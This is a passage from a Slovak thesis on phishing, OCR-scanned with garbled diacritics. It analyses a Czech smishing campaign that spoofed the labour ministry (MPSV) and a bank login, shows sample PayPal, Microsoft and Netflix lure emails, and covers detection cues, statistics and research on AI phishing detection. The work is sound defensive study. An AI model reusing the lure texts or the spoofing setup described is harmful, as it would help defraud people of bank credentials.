zéklade telefonatu s prosbou. Utok je tak zalozeny viac na psychologickej podstate, kedy sa
uto¢nik snazi ziskat' doveru obete a na zéklade toho z nej vylakat’ informéacie o G¢toch, pri-

padne rovno platbu.

1.4 Ako méZe vyzerat’ phishing - priebeh phishingového utoku

Priebeh realneho phishingového toku je mozné ukazat’ na phishingovej kampani z roku
2023, ktora sa tykala prispevkov na byvanie od MPSV. Tento Utok bol vedeny viacerymi
komunika¢nymi kandlmi, avSak v tomto priklade je pouzity utok, ktory je mozné klasifiko-
vat’ ako smishing, nakolko uvodné ,navnada“ sa dostala k obeti prostrednictvom SMS

spravy.

1.4.1 1. Faza— Navnada

Prvou fazou akéhokol'vek phishingového ttoku je podstréenie ,,ndvnady* potencialnej obeti.
V tomto konkrétnom pripade obet’ dostala nasledovnii SMS spravu, ktora na informovala

0 moznosti ziskania finanéného prispevku na byvanie.
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SMS spréava bola odoslana z ¢eského ¢isla a obsahovala odkaz, ktory na prvy pohlad nevy-

zerd nijak podozrivo.

MPSV informuji
PFispévky na bydleni
Ziskat:

Obrazok 4 — Phishingova SMS

1.4.2 2. Faza - Zaber

Do druhej fazu sa dostava Gtok v momente, kedy obet’ nerozpoznd, ze ide o podvod a na
»havnadu zareaguje. Toto vacSinou prebieha kliknutim na priloZzeny hypertextovy odkaz,
ktory obet’ presmeruje na podvrhnutt stranku. V tomto konkrétnom pripade taktiez po klik-
nuti na odkaz doslo k presmerovaniu na falo$nu stranku MPSV, ktora na prvy pohl'ad vyzera

takmer totoZne ako oficialna stranka.

M MINISTERSTVO PRACE PRO UREDNIKY =
SV] A sociAunicH vec

Prihlaseni

Zvolte zpi 1a3ent

[dentita
obcana

Fiihlgeni prostfednictvim ldentity obfana je uréeno pro fyzické osoby.

PRIHLASIT SE

Obrazok 5 — Oficialna stranka MPSV
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4 ] 0 & mpsv-socialni-platoy.cz

[MP] mimistersTvO PRACE PRO UREDNIKY ~
A SOCIALNICH VECI

Prihlaseni

Identita
obc¢ana

Piihlaste se, abyste mohli piijimat platby na svdj ovéfeny bankovni uet. Urkeno pro prévnické i
fyzicke osoby

PRIHLASIT SE

Obrazok 6 — Podvrhnuta stranka MPSV

Po kliknuti na tlacidlo prihlasit’ sa, doslo k presmerovaniu na podstranku, s moznost'ou vy-
beru, prostrednictvom ktorej banky sa obet’ chce prihlésit’. Pri pozornejSom citani uz je
mozné spozorovat’ syntaktické a gramatické chyby v texte. Text bol pravdepodobne prelo-

zeny z iného jazyka.

Pokial’ by v tomto okamihu obet’ spozorovala, Ze sa jedna o podvod, stile ma Sancu zo
stranky bez ujmy odist,, a ,,zachranit’ sa“ pred ulovenim. V rybarskej terminolégii by bolo
mozné pouzit’ vyraz, ze ryba unikla z hacika, teda na ,,ndvnadu* vo forme SMS spravy a od-
kazu v nej zareagovala, ale dostato¢ne vcas si v§imla, Ze so strankou nie je nieco v poriadku

a nesposobila si tak Ziadnu ujmu.

1.4.3 3. Faza — Ulovenie

4 (o] 0 & mpsv-sodialni-platby.cz/banks.php?id=844 Qo M0 E I -

PO AU
MUZE BYT £

Kvalifikovan! e banka.

kytovatel zada o vasdi elektronickou identifikaci v

Vyberte si pros

%k BANKOVNI IDENTITA

0
e
Raiffeisenbank @

z nésledujicich moZnostf banky k ovéfenl identity a zfskdnf vy&i vageho vyhod:

V procesu elekironické identifikace budou z informagnich systému vefejné spravy ziskany udaje o Vasi osob& umozniujici prokazani Vasi totoZnosti.

Obrazok 7 - Prihlasenie prostrednictvom bankovej identity
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Po vybere jednej z bank, napriklad ,,Ceska spofitelna®, stranka zobrazi prihlasovacie okno,
kde je od uzivatel'a vyZadované vyplnenie klientského ¢isla. Pre zvySenie doveryhodnosti
utocnik pridal aj spravu ubezpecujicu o bezpe¢nosti danej stranky a taktiez ,livechat®.
Tento livechat je vSak iba vizualny klam, nie je napojeny na akikol'vek funkcionalitu a zob-
razuje stale dokola len oznamenie o probléme s pripojenim. Rovnako ako ,,odkaz* s textom
»~INepamatuji si uzivatelské jméno* nie je odkaz, ale len modry text, bez akejkol'vek funkci-

onality. Neskuseny uzivatel’ by teda nemusel vobec podozrievat’ danu stranku.

(i) Bankovni IDentita Ceské spofitelny
Odpovidsme za to, 3e plihiadeni za
Utelem Vadeho avéfen jo
bezpe&né. Tretl strana nemiize
ziskat plistup k Vasim pfihlagovacim
ddajiim.

@ Mizu Vam poradit?

CESKAS

spofiteina

[ 12345678/2014 El]

Nepamatuiji si uzivatelské jméno
L1111}

Snazim se znovu navazat
spojeni, zkontrolujte si prosim
Vase pfipojeni k internetu.

Obrazok 8 - ,,Ceska spofitelna“ — prihlasenie krok 1

Po vyplneni klientského ¢isla je uzivatel’ vyzvany este na vyplnenie datumu narodenia.

PfihlaSeni do Sprévy IDentity
CESKAS

spofiteina

Zadejte den a mésic narozeni

1 Unor v

Zrusit

#® Mizu Vam poradit?

Obréazok 9 - ,,Ceska spofitelna“ — prihlasenie krok 2
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Po vyplneni a kliknuti na ,,Pokracovat™ je obet’ presmerovana opit na uvodnu stranku.
V tomto momente by aj neskiseny uzivatel’ mal spozorniet’ a uvedomit’ si, ze nieco nie je
v poriadku. V tejto chvili je uz vSak neskoro, nakol’ko vyplnené prihlasovacie udaje boli
odoslané uto¢nikovi. V pripade, Ze by obet’ zadala spravne udaje, Gito¢nik by teoreticky zis-
kal pristup k uctu obete. Cely utok je teda postaveny tak, aby obet bola klamana len do
momentu, kedy uto¢nik ziska to, ¢o potrebuje. Ihned po odoslani uz tito¢nika vobec nezau-

jima d’alSie maskovanie alebo praca, ktora by mohla tento phishingovy utok utajit’.

1.5 Metody rozpoznania phishingového utoku

Na to, aby mohli byt niektoré postupy detekcie implementované prostrednictvom umelej

inteligencie, je nutné urcit’, akymi spdsobmi je mozné rozpoznat’ phishing.

1.5.1 E-mailova adresa

Vicsina phishingovych utokov je realizovand prave prostrednictvom e-mailu, preto pri

akomkol'vek e-maile, ktory vyzaduje interakciu, je nutné skontrolovat’ adresu odosielatel’a.

1.5.1.1 Verejnda doména

Ziadna legitimna organizacia nebude posielat e-maily z adresy, ktora konéi napriklad
H@gmail.com* a to dokonca ani Google, ktory dant doménu vlastni. Okrem niektorych ma-
lych firiem alebo jednotlivcov, bude mat’ vacSina spolo¢nosti vlastni e-mailovi doménu a
e-mailové UCty. Napriklad skuto¢né e-maily od spolo¢nosti Google budi koncit

»@google.com®.

Ak sa ndzov domény (Cast’ za symbolom @) zhoduje so zdanlivym odosielatel'om e-mailu,
sprava je pravdepodobne legitimna, avSak ani to nezaruc€uje stopercentnu istotu. Naopak, ak
e-mail pochadza z adresy, ktord nepatri k zjavnému odosielatel’'ovi, ide takmer urcite o pod-

vod [5].
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1.5.1.2 Priklad e-mailu s verejnou doménou

From: Account Support <reza.clalucyankdia6 @ gmail.com>
Sent: Monday, February 15, 2021 6:41:04 AM
To:

Subject: Re: Your account has been filtered by our system for authentication.

PayPal

Dear Customer,

Your account has been filtered by our system for authentication. Please view the

possible events listed below for this cause.

Possible events occurred

1. Log in attempts from, Windows 7 - Ontario, Canada
2. Requesting any operation using unusual pattern

3. Too many incorrect log in attempts

For security, all your account features are disabled until a response has been

received from you

Please click "Authenticate now" button below to secure your account

Authenticate now

Best regards,

PayPal Inc Help Center

Obrazok 10 - Podvodny e-mail obsahujtci verejni doménu [5]

V tomto priklade je mozné vidiet, ze e-mailova adresa odosielatel’a nesuhlasi s obsahom
spravy, ktory sa zda byt zo sluzby PayPal. Samotna sprava vSak vyzera realisticky a uto¢nik
dokonca prisposobil pole mena odosielatel’a tak, aby sa v schrankach prijemcov zobrazovalo

ako ,,Podpora uctu®.

Niektoré phishingové e-maily st vSak eSte sofistikovanejSie tym, Ze zahrn(l ndzov organiza-
cie do lokalnej Casti domény. V tomto pripade by teda adresa mohla vyzerat’ nasledovne:

»paypalsupport@gmail.com*.

Na prvy pohl'ad je v e-mailovej adrese vidiet’ slovo ,,PayPal a teda obet’ by mohla predpo-
kladat’, ze adresa je legitimna. Prave preto je treba v e-mailovej adrese kontrolovat’ najma
to, ¢o nasleduje za symbolom @. Toto urcuje organizaciu, z ktorej bol e-mail odoslany.

Oficialnu doménu organizacie je mozné overit’ cez vyhl'adavace [5].
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1.5.1.3 ,,Preklep“ v nazve domény

V nazvoch domén moéze byt skryta d’alSia stopa, ktord moze potencidlne obete varovat’. Av-
Sak to mdze skomplikovat’ odhalenie podvodu. Problém je v tom, Ze kazdy si moze kapit
doménové meno od registratora. A hoci kazdy nazov domény musi byt jedinecny, existuje

vel'a spdsobov, ako vytvorit’ adresy, ktoré su na nerozoznanie od tej, ktora je sfalSovana.

% MS Online Services Team
msonlineservices@microsfrtfonline.cor /

To You

Attention: A User sccount was created o modified. Retrieve your user's
temporary password. | Yiew this email in your browser,

B Microsoft

Your account password has expired.

The following contains password security guidelines.

Please note:

« A strong password consists of at least three of the following: uppercase letters, lowercase letters, numbers,

syml
« For your protection and security, passwords are valid for 120 days.
= When distributing IDs and passwords, be sure to 6o 5o in @ safe and secure manner.

To avoid service interruption, please change your password now.

Go to the sign-in page, hitps:{/portal.office.com and sign User 10:
User Name:

Once you have successfully signed in, you can create a new password by following the instructions on the si

We appreciate your prompt attention to this matter, and look forward to continuing o meet your business nes

Thank you for choosing 10 host your IT solutions with Microsoft

Sincerely,
The Microsoft Online Services Team

Obrazok 11 - Podvodny e-mail obsahujuci ,,preklep v doméne [5]

Podvodnici si zaregistrovali doménu ,,microsfrtfonline.com®, ktora pripomina slova ,,Mic-
M

rosoft Online®, ¢o mozno odévodnene povazovat’ za legitimnu adresu [5].

1.5.2 Obsah e-mailu

Casto je mozné zistit', Ze e-mail je podvod, ak obsahuje zIy pravopis ¢i gramatiku. Pre e-
maily, ktoré su pisané v anglickom jazyku nie je tento ,,dokaz* az tak vel'mi Casty. Naopak
pre phishingové Utoky, ktoré sa sustred’uju v tomto pripade na ¢eskych alebo slovenskych
obcanov, je vel'mi pravdepodobné, ze dany e-mail alebo SMS sprava bude obsahovat’ gra-

matické alebo syntaktické chyby, pripadne zl¢ sklofiovanie atd’.

Hlavnym dévodom tychto chyb je, Ze Gto¢nik neovlada jazyk, prostrednictvom ktorého je
phishingovy utok realizovany. Pre vytvorenie e-mailu alebo SMS spravy teda pouZiva rozne

prekladace. S ohl'adom na pocetnost’ vyskytu chyb a celkova Struktiru textu je relativne
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jednoduché rozpoznat rozdiel medzi preklepom, ktory mohol vytvorit’ legitimny odosielatel’

a podvodom [5].

1.5.2.1 Naliehava sprava

Druhym vel'mi ¢astym znakom phishingového e-mailu je to, Ze sprava, ktort obsahuje je
naliehava a zvycCajne obsahuje takmer az poplasnu spravu, ktora informuje o nutnosti zmeny
hesla ¢i overenia platby, pripadne informuje o napadnuti virusom, alebo 0 moznosti ziskania

financii ¢i produktov.

Vseobecne plati, ze ¢im dlhSie o nieom ¢lovek premysla, tym je pravdepodobnejsie, Ze si
vSimne veci, ktoré sa nezdaju spravne. Mozno si obet’ uvedomi, ze organizacia ju obvykle
nekontaktuje prostrednictvom danej e-mailovej adresy, alebo sa porozprava s kolegom a

zisti, ze neposielal Ziadny e-mail.

To je dovod, preco tol’ko podvodov Ziada, aby obet’ konala hned’, inak bude prili§ neskoro.
Cielom je vytvorit’ natlak, aby obet’ konala ¢o najrychlejSie a prili§ nerozmyslala a neana-
lyzovala danu spravu, ¢o zvySuje pravdepodobnost’, Ze obet’ na spravu zareaguje a utok tak

bude tspesny [5].

WEBMASTER ADMINISTRATOR :
POZOR!_Jste_napadeni wirem! *-._I./

ROmLU

FOZOR !

Vase poidtovni schrana byla napadena zakefnym soltwares, Jestli ne overis svou
schranku do dvou hodin, bude zablokovana a viechny vase e-maily budou vymazany.
Kliknéte zde a ovéfte své (daje.

IT Department Administrator 2020 @

Obrazok 12 - Naliehavy e-mail [6]

1.5.2.2 Gramatické/syntaktické chyby a preklepy

Ako priklad je moZné pouzit’ uz spominanu ukazku, kde sa jednalo o prispevok na byvanie.

Nejedna sa sice o e-mail, avSak v tomto pripade je komunikacny kanal irelevantny.
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+420 777 605 726

MPSV informuiji
Prispévky na bydleni
Ziskat:

Obrazok 13 - Syntaktické chyby v phishingu

Ako je mozné vidiet’, jednotlivé slova su napisané spravne, avSak ako celok sprava pdsobi
chaoticky. Nie st vyuZité Ziadne interpunkéné znamienka, Struktura spravy nie je rozdelena
do viet a sklofiovanie slov taktiez chybné.

Oficiélna Statna inStitiicia by urcite neposlala spravu, ktora by pdsobila chaoticky a obsaho-

vala spominané chyby, je teda s velkou pravdepodobnost’ou mozné ur¢it’, Ze sa jedna o pod-

vod [5].

1.5.3 Hypertextovy odkaz

Bez ohl'adu na to, ako sa phishingové e-maily dorucuju, vSetky obsahuji podobny obsah. Je
to predovsetkym odkaz na faloSni webovu stranku, ktory moze byt priamo vlozeny do

emailu schovany za tlacidlom.

1.5.3.1 Podozrivé odkazy

Ak sa cielova adresa nezhoduje s kontextom zvysku e-mailu, je mozné si v§imnut’ podozrivy
odkaz. Ak napriklad obet’ dostane e-mail od Netflixu, je o¢akavané, Zze odkaz bude smerovat’

na oficialny web, pod doménou ,,netflix.com®.

Bohuzial’, vela legitimnych aj podvodnych e-mailov skryva cielovl adresu v tlacidle, takze

nie je okamzite zrejmé, kam odkaz smeruje. To je zrejmé aj z odkazu niZSie.
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n NETFLIX
Invoice Failed - Account Blocked 27/3/19, 3:53 pm

NETFLIX

Dears Customer,

We're having some trouble with your current billing
information. We'll try again, but in the meantime you

payment details.,

We're here to help if you need it. Visit the Help
Center for more info or contact us.

Your friends at Netflix

Obrazok 14 - Podozrivy odkaz [5]

V tomto priklade podvodnici tvrdia, Ze obet’ ma problém s Netflix uc¢tom. E-mail je navrh-
nuty tak, aby obet’ nasmeroval na maketu webovej stranky Netflix, kde je vyzvana, aby za-

dala svoje platobné tidaje.

Vdaka tlacidlu sprava vyzera autenticky, pri¢om tlacidla si ¢oraz obl'ibenejSie v e-mailoch
a na webovych strankach. Co je vSak dolezitejsie, skryva cielovii adresu a tak obet’ na prvy

pohl'ad nevidi, kam e-mail smeruje.

Dobrou spravou vsak je, Ze je mozné odhalit,, kam toto tlacidlo smeruje aj bez toho, aby bolo
nutné nan kliknut’. Pokial je na pocitaci kurzor mysi umiestneny na tlacidlo, cielova adresa

sa zobrazi v malom pruhu v spodnej Casti prehliadaca.

Na mobilnom zariadeni je nutné podrzat’ tlac¢idlo a zobrazi sa kontextové okno s odkazom

[5].

1.5.3.2 Falo$né weby

Po ,,odkryti* spominaného maskovania prostrednictvom tlac¢idiel je vSak stale nutné roz-
poznat’ legitimnu stranku daného odosielatel'a. Uto¢nici moéZu urobit’ nepatrné zmeny
v nazve webu, pripade zahrnit’ do nazvu iné slova, ktoré moézu v obeti vyvolat’ dojem, Ze sa

jedna o oficialnu podstranku.
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To moéze byt ukdzané na spominanom phishingu tykajiaceho sa MPSV. Sprava sa tykala
prispevku na byvanie, preto uto¢nik vzal oficialnu skratku MPSV a pridal k nej ,,-socialni-

platby*.

+420 777 605 726

MPSV informuiji
Prispévky na bydleni
Ziskat:

Obrazok 15 - Podozrivy odkaz MPSV

Web https://mpsv-socialni-platby.cz je zaregistrovany ako ,,.cz*, teda ¢eskd doména, ndzov
je gramaticky spravne a zaroven sa tyka témy uvedenej v sprave, preto mdze nadobudat’

legitimny dojem.

Oficiélne weby vSak skoro nikdy nevytvéraju iné domény na separaciu svojich funkcionalit.
Jednotlivé funkcionality su stale pod jednym webom, v tomto pripade je doména stale
mpsv.cz. Jediné, co sa moZe menit’ su podstranky, parametre atd’., ktoré st vSak uvedené za
lomitkom, nikdy nie v doméne. Legitimna stranka na vyplacanie prispevkov by teda mohla
vyzerat' nasledovne https://mpsv.cz/socialni-platby. Takyto tvar webovej adresy by bol

v poriadku, nakol’ko doména zostava stale oficidlna a meni sa len podstranka.

1.6 Phishingové Statistiky za Q3 roku 2022

1.6.1 Pocet utokov

V druhom $tvrtroku 2022 zaznamenala spolocnost APWG (Anti Phishing Working Group)
celkovo 1 097 811 phishingovych ttokov, ¢o bol v tom case rekord. V tretom Stvrtroku
2022 bolo zaznamenanych celkovo 1 270 883 phishingovych utokov, ¢o je novy rekord a

najhorsi Stvrtrok pre phishing, aky kedy spolo¢nost’ zaznamenala. Celkovy pocet utokov za


https://mpsv.cz/socialni-platby
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august 2022 bol 430 141, Co je najvyssi mesacny sucet. Pocet phishingovych utokov nahla-
senych APWG sa viac ako patnasobne zvysil od prvého stvrtroka 2020, ked’ bolo zazname-

nanych 230 554 utokov [25].

July August Sept
Number of unique phishing Web sites (attacks) detected 425,112 430,141 415,630
Unique phishing email subjects 64,696 38,228 23,994
Number of brands targeted by phishing campaigns 621 612 637

Obrazok 16 — Phishingové Statistiky za rok 2022 [25]

Phishing Attacks, 4Q2021-3Q2022

500,000

450,000

400,000

350,000

300,000

250,000
200,000
150,000
100,000

50,000

0
Oct-21 Nov-21 Dec-21 Jan-22 Feb-22 Mar-22 Apr-22 May-22 Jun-22  Jul-22  Aug-22 Sep-22

Obrézok 17 — Vyvoj poctu phishingovych utokov od roku 2021 [25]

1.6.2 Odvetvia zasiahnuté phishingom

V tretom Stvrtroku 2022 APWG OpSec Security zistili, ze phishingové utoky proti financ-
nému sektoru, ktory zahfia banky, st najvacsim suborom utokov, ¢o predstavuje 23,2 per-
centa vietkého phishingu. Utoky na webovi postu a poskytovatel'ov softvéru ako sluzby
(SAAS) predstavuji 17 %, zatial’ o utoky na stranky maloobchodu /elektronického obchodu

su len 4,1 percenta. Phishing proti spolo¢nostiam v oblasti socidlnych médii mal v priebehu
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roku 2022 klesajicu tendenciu a v Q3 predstavoval 11 %. Phishing zamerany na krypto-
meny/burzy kryptomien a poskytovatel'ov predstavoval 2 percenta [25].

MOST-TARGETED INDUSTRIES, 3Q2022

Logistics /

Shipping
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Other

30%
Payment
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Retail
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Cryptocurrency
2%

SaaS / Webmail
17% Financial
Institution

23%

Obrazok 18 — Graf odvetvi zasiahnutych phishingom v roku 2022 [25]

1.6.3 BEC Sstatistiky
BEC spdsobil celkové straty v miliardach dolarov vo velkych a malych spolo¢nostiach.

Bolo zistené, ze pocet itokov BEC bankovym prevodom v 3. §tvrtroku vzrastol o 59 percent
v porovnani s 2. Stvrtrokom 2022. Priemerna suma pozadovand pri utokoch BEC bankovym
prevodom v 3. Stvrtroku 2022 klesla o 14 percent na 93 881 dolarov, ¢o je pokles z priemeru
109 467 dolarov za 2. §tvrtrok. Pocas 3. stvrtroka 2022 boli ziadosti o dar¢ekové karty naj-
populérnejSim sposobom vyberu penazi, ¢o predstavovalo 38,5 percenta z celkového poctu.
Nasledovali podvody s preddavkami (30,9 %), pokusy o odklonenie miezd (12,5 %) a bez-
hotovostné prevody (4,9 %), priCom zbytok predstavovali rozne d’alSie spdsoby vyberu [25].

1.6.4 Domény vyuZité na atoky

85 percent utokov BEC v 3. Stvrtroku 2022 bolo spustenych pomocou bezplatnej domény
webovej posty, €o je narast zo 73 percent v 2. Stvrtroku. Zvysnych 15 percent ttokov BEC
v 3. Stvrtroku vyuzivalo neopravnene registrované domény a kompromitované e-mailové

ucty.
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Gmail od Google LLC, zatial’ o je stale obl'ibenym poskytovatel'om webovej posty medzi
podvodnikmi, klesol zo 72-percentného podielu v 2. Stvrtroku na 66 percent v 3. Stvrtroku
2022. Webové e-mailové vlastnosti spolo¢nosti Microsoft vyuzivalo v 3. Stvrtroku 21 %
utokov BEC zalozenych na webovej poste, oproti iba 8 % v 2. Stvrtroku. Verizon Media
tvorila 6 % utokov BEC zalozenych na webe v tretom Stvrtroku, pricom zvysnych 7 %

predstavoval dlhy zoznam réznych inych poskytovatel'ov [25].

Free Webmail Providers Used in BEC Attacks (Q3 2022)

Verizon Media
6%

Obrazok 19 — Poskytovatelia emailovych sluzieb vyuzivanych na phishing [25]

1.7 Trendy phishingu 2022

1.7.1 LinkedIn

LinkedIn pouziva viac ako 850 miliénov l'udi vo viac ako 200 krajinach a regionoch. Ked’ze

platformu pouziva také mnozstvo l'udi, je to ideédlny ciel’ pre e-mailové phishingové ttoky.

V 1. §tvrtroku 2021 boli phishingové e-maily vyuZivajice LinkedIn ako , krytie naj¢astejSie

klikanymi na socidlnych médiach, a to 42 %, pred Facebookom s 20 % a Twitterom s 9 %.

KIacovym cielom st novi zacinajtci l'udia, ktori zmenili svoj pracovny status na LinkedIn.
Zlocinci sa pri pokusoch o ziskanie osobnych informacii vydavaju za veducich zamestnan-
cov. Dalsi zase pozaduji od l'udi, aby si kupili dar¢ekové poukazky, napriklad na iTunes,

alebo aby zavolali na dané Cislo, aby prediskutovali dolezité poziadavky na dant pracu.
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Od roku 2021 zostava LinkedIn hlavnym cielom kybernetickych zlo¢incov. V prvom Stvrt-
roku 2022 bol LinkedIn celosvetovo najviac napodobniovanou znackou, pri¢om 52 % iden-

tifikovanych phishingovych ttokov sa vydavalo za platformu LinkedIn [3].

1.7.2 ZvySujuci sa pocet utokov

Sprava Mimecast o stave bezpecnosti e-mailov za rok 2022 zdoraziuje, ze pocitacovi zlo-
¢inci posielaju vo svojich kampaniach viac e-mailov. Z 1400 opytanych organizacii sa 80 %
domnievalo, Ze je pravdepodobné, ze budu zasiahnuté kybernetickym utokom zalozenym na

e-mailoch.

79 % uviedlo zvySeny pocet e-mailov, ktoré ich organizacia dostavala, vratane 33 %, ktori
uviedli, ze dostavali podstatne viac takychto e-mailov ako v predchadzajiacich rokoch. Ob-

zvlast znepokojujuce je, Ze 96 % ohlasilo aspoi jeden phishingovy utok za posledny rok.

Zvysujuci sa objem phishingovych e-mailov zvysuje pravdepodobnost’ tspesného utoku. 92
% organizacii odpovedalo, ze asponl jeden ich obchodny e-mail bol napadnuty a 93 % za-
znamenalo unik udajov v doésledku neopatrnosti, nedbanlivosti alebo ohrozenia prihlasova-

cich udajov zamestnancov [3].

1.8 Sucasny stav rieSenej problematiky

Kapitola vychadza z analyzy viacerych vedeckych ¢lankov.

1.8.1  Intelligent Phishing Website Detection Using Deep Learning

Technologie umelej inteligencie a strojového ucenia sa stali kI'ticovym nastrojom na identi-
fikaciu a detekciu phishingovych adries URL. Tento pristup zabrani 'udskym chybam v do-

sledku nepozornosti alebo unavy.

Pristup ,,blacklistu*, ktory zahffia zaznamenavanie IP adries serverov, ako aj adries URL, je
Standardnou a dobre zndmou metddou na zistovanie phishingovych strdnok. Aby tto¢nici
obisli obrannu vrstvu blacklistu, pouzivaju rdzne sofistikované techniky na oklamanie pou-
zivatel'ov vratane zmeny adries URL, aby vyzerali autenticky prostrednictvom zameny po-
dobnych znakov a inych metodd popisanych v podkapitole 4.2. PouZitie takychto technik ma
vSak svoje nevyhody, ako su falo$ne pozitivne vysledky. Aby sa odstranili nevyhody metody

blacklistu, vyskumnici v oblasti bezpecnosti hl'adaji sposoby, ako sa prispdsobit’ a pracovat’
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na technologiach Deep Learning. Preto je vel'mi ddlezité vyvinut’ model, ktory inteligentne

zist'uje phishingové adresy URL pomocou malych trénovacich tidajov s vyssou presnostou.

V tomto ¢lanku bola navrhnutd neurénovu siet’ s nazvom Autoencoder, ktora vyuziva ana-
Iyzu odlahlych hodnot na rozliSenie a klasifikaciu webovych stranok na pravé alebo phis-
hingové. Algoritmus analyzuje niekol'ko faloSnych a pravych adries URL a Studuje ich funk-
cie, aby presne identifikoval phishingové stranky vratane tych, ktoré su vytvorené v redlnom

Case, zname tiez ako zero-day phishing websites, ktoré vyuzivaju tento pristup [26].

Table II. Result Summery

Model TP | TN F FN | Accura
P cy
SVM 791 | 978 | 43 | 188 88.4%

Decision | 729 | 993 | 22 | 256 | 86.1%

Tree
Autoencod | 753 | 107 | 71 | 104 | 91.24%
er 2

Obrazok 20 — Presnost’ rieSenia Autoencoder [26]

1.8.2  Phishing URLs Detection Using Sequential and Parallel ML Techniques:

Comparative Analysis

V dnesnej digitalizovanej dobe st celosvetové webové sluzby Zivotne dolezitym aspektom
kazdodenného Zivota kazdého jednotlivca a su pristupné pouzivatel'om prostrednictvom jed-
notnych vyhl'adavacov zdrojov (URL). Kyberzlo€inci sa neustale prisposobuju novym bez-
pecnostnym technolégidm a vyuzivaji adresy URL na zneuZivanie zranitenych miest na
nezakonné ¢innosti, ako je kradez osobnych a citlivych udajov pouzivatel'ov, ¢o moze viest’
k finan¢nym stratdm, kradezi identity atd’. Phishingové ttoky su uzndvané ako hlavny zdroj
uniku udajov a najrozsirenejsi podvodny kyberneticky ttok. Techniky zalozené na umele;j
inteligencii (Al), ako je strojové ucenie (ML) a hlboké ucenie (DL - Deep Learning), sa
ukdazali ako vel'mi presné pri odhalovani phishingovych ttokov. Sekvenény ML vSak mdze
byt casovo naro¢ny a nie vel'mi G€inny pri detekcii v redlnom Case. MoZe byt tiez neschopny
spracovat’ obrovské mnozstvo udajov. Vyuzitie paralelnych vypoctovych technik v ML vSak

moze pomdct’ vytvorit’ presné, robustné a efektivne modely na detekciu phishingovych
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utokov s krat§im vypoctovym casom. Preto boli v tejto $tadii vyuzité rozne techniky multi-
processingu a multithreadingu v Pythone na trénovanie modelov ML a DL. Pouzita datova
sada obsahovala 54 000 zaznamov na tréning a 12 000 na testovanie. Uskutocnilo sa pét
experimentov, prvy zalozeny na sekvencnom vykonavani, po ktorom nasledovali d’alSie Styri
zalozené na technikach paralelného vykonéavania (vladknenie pomocou paralelného backendu
Pythonu, vytvaranie vlakien pomocou paralelného backendu Pythonu a pocet uloh, manu-
alne vytvaranie vlakien a multiprocesing pomocou paralelného backendu Pythonu) . Na vy-
konanie experimentov boli nasadené Styri modely, konkrétne Random Forest (RF), Naive
Bayes (NB), konvolu¢né neurénova siet’ (CNN — Convolutional Neural Network) a dlho-
dobé kratkodoba pamét (LSTM — Long Short-Term Memory). Celkovo experimenty pri-
niesli vynikajice vysledky a zrychlenie. Nakoniec sa na konsolidaciu vykonala komplexna

porovnavacia analyza [27].

1.8.3  Prevention of Phishing attacks using Al Algorithm

Phishingové webové stranky su rozSirenymi vstupnymi bodmi pre Gtoky socidlneho inzi-
nierstva vykondvané online vratane nespocetnych podvodov na webovych strankach. Pocet
obeti v§ak exponencialne stiipa v dosledku neadekvatnych bezpecnostnych technologii. Stu-
die kategorizovali phishingoveé Gtoky podl'a zékladnych phishingovych metod a obrany, pri-
¢om ignorovali vyznam celé¢ho zivotného cyklu phishingu. Tento ¢lanok pontka novy, po-
drobny model phishingu, ktory zohl'adiuje §tadia Gtoku, rdzne typy utocnikov, hrozby, ciele,
kandly utoku a taktiku utoku. Navrhovand anatomia tiez ul'ah¢i ¢itatel'om pochopenie toho,
ako dlho phishingové usilie trva, zvysi znalosti o tychto Gtokoch a pouzitych technikach a
pomdze pri vytvarani komplexného anti-phishingového systému. Vzhl'adom na anonymitu
a chybajlce regulacie na internete st phishingové utoky Gispesnejsie s va¢Sou pravdepodob-
nostou. Podl'a existujiceho vyskumu je Uc¢innost’ systému na detekciu phishingu obme-
dzena. Na ochranu spotrebitel'ov pred kybernetickymi utokmi je potrebna premyslena stra-
tégia. Detekénd metdda pouzita v tejto praci je zalozena na umelej inteligencii LSTM , ktora

poskytuje uspokojivy vykon a presnost’ [28].

1.8.4  Phishing Site Detection Using Artificial Intelligence

Kyberneticka bezpecnost’ sa stdva klI'icovou a nenahraditel'nou sucast’ou modernej éry. Bez-
pecnostné rieSenia na ochranu Sirokej populacie pred phishingovymi podvodmi st mimo-
riadne ddlezité, pretoze maji nielen dosledky na finan¢nych stratach. Zamerom tohto ¢lanku

je zamerat’ sa a preskumat’ opakujiuce sa postupy ukazané na niekolkych phishingovych
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webovych strankach a vytvorit’ framework na zistenie takychto strdnok na internete. Navr-
hovanym pristupom na vyrieSenie vyssie uvedené¢ho problému je siborovy model rozhodo-
vacich stromov s maximalnou hibkou 18. Tento siborovy model je vytvoreny pomocou kri-
zovych valida¢nych technik K-Fold, kde bolo vytvorenych K modelov a klasifikator max
vote, ktory je vytvoreny ensemble metddou zo vSetkych modelov. Bolo vytvorenych 10 mo-
delov a presnost’ kazdého modelu sa pohybovala od 93,12 % do 98,28 %. Vyssie uvedena
metoda bola preskimana a bolo odvodené, Ze je implementovatelna nasadenim webovej
aplikacie, do ktorej moze uzivatel’ zadat’ adresu URL stranky a pomocou ¢oho by bol ko-
necny projekt schopny generovat’ hodnoty pre niekol’ko kritérii, na ktorych zaklade by na-
trénovany model bol schopny poskytnit’ analyzu s cielom zistit’, ¢i je webova stranka pod-

vodna (phishing) alebo legitimna [29].

1.8.5  Sufficiency of Ensemble Machine Learning Methods for Phishing Websites

Detection

Phishing je druh celosvetovo rozsirenej pocitacovej kriminality, ktora vyuziva podvrhnuté
webové stranky na oklamanie pouzivatel'ov, aby si stiahli malvér alebo poskytli utoénikom
osobné citlivé informacie. S rychlym rozvojom umelej inteligencie ¢oraz viac vyskumnikov
v oblasti kybernetickej bezpe¢nosti vyuziva algoritmy strojového u€enia a hlbokého ucenia
na klasifikaciu phishingovych webovych strdnok. S cielom porovnat’ vykonnost’ réznych
metod strojového u€enia a hlbokého ucenia sa v tejto Stidii vykonava niekol’ko experimen-
tov. Podl'a experimentalnych vysledkov vynikaju suborové algoritmy strojového u€enia me-
dzi ostatnymi kandidatmi v presnosti detekcie aj spotrebe vypoctov. Okrem toho, architek-
tary suborov stale poskytuju pdsobivi schopnost’, ked” mnoZstvo funkcii v subore tidajov
prudko klesa. Nésledne sa v prispevku diskutuje o faktoroch, pre¢o st metddy strojového
ucenia suboru vhodnejsie pre vyzvu na klasifikéciu bindrneho phishingu v aktualizovanom
prostredi tréningu a detekcie v redlnom case, ¢o odraza dostato¢nost’ metdd strojového uce-

nia suboru v technikéach boja proti phishingu [30].



UTB ve Zliné, Fakulta aplikované informatiky 43

2 VYVOJ PHISHINGOVYCH UTOKOV

